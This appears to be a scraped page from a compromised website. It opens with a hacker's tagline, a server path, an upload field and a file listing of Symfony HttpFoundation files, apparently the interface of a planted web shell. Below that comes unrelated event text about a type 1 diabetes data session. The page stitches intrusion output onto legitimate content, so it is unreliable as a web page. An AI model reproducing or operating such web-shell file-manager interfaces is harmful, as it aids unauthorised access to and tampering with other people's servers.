I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
AcceptHeader.php3498 KBJanuary 30 2023 16:11:060666
AcceptHeaderItem.php3265 KBJanuary 30 2023 16:11:060666
BinaryFileResponse.php12416 KBJanuary 30 2023 16:11:060666
CHANGELOG.md17358 KBJanuary 30 2023 16:11:060666
Cookie.php11145 KBJanuary 30 2023 16:11:060666
Exception-January 30 2023 16:11:060777
ExpressionRequestMatcher.php1438 KBJanuary 30 2023 16:11:060666
File-January 30 2023 16:11:060777
FileBag.php3851 KBJanuary 30 2023 16:11:060666
HeaderBag.php6939 KBJanuary 30 2023 16:11:060666
HeaderUtils.php9341 KBJanuary 30 2023 16:11:060666
InputBag.php3396 KBJanuary 30 2023 16:11:060666
IpUtils.php6036 KBJanuary 30 2023 16:11:060666
JsonResponse.php6612 KBJanuary 30 2023 16:11:060666
LICENSE1065 KBJanuary 30 2023 16:11:060666
ParameterBag.php5068 KBJanuary 30 2023 16:11:060666
README.md940 KBJanuary 30 2023 16:11:060666
RateLimiter-January 30 2023 16:11:060777
RedirectResponse.php2534 KBJanuary 30 2023 16:11:060666
Request.php65645 KBJanuary 30 2023 16:11:060666
RequestMatcher.php4950 KBJanuary 30 2023 16:11:060666
RequestMatcherInterface.php621 KBJanuary 30 2023 16:11:060666
RequestStack.php2674 KBJanuary 30 2023 16:11:060666
Response.php37411 KBMay 13 2024 10:49:050666
ResponseHeaderBag.php7971 KBJanuary 30 2023 16:11:060666
ServerBag.php3991 KBJanuary 30 2023 16:11:060666
Session-January 30 2023 16:11:060777
StreamedResponse.php2628 KBJanuary 30 2023 16:11:060666
Test-January 30 2023 16:11:060777
UrlHelper.php3094 KBJanuary 30 2023 16:11:060666
composer.json1237 KBJanuary 30 2023 16:11:060666
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: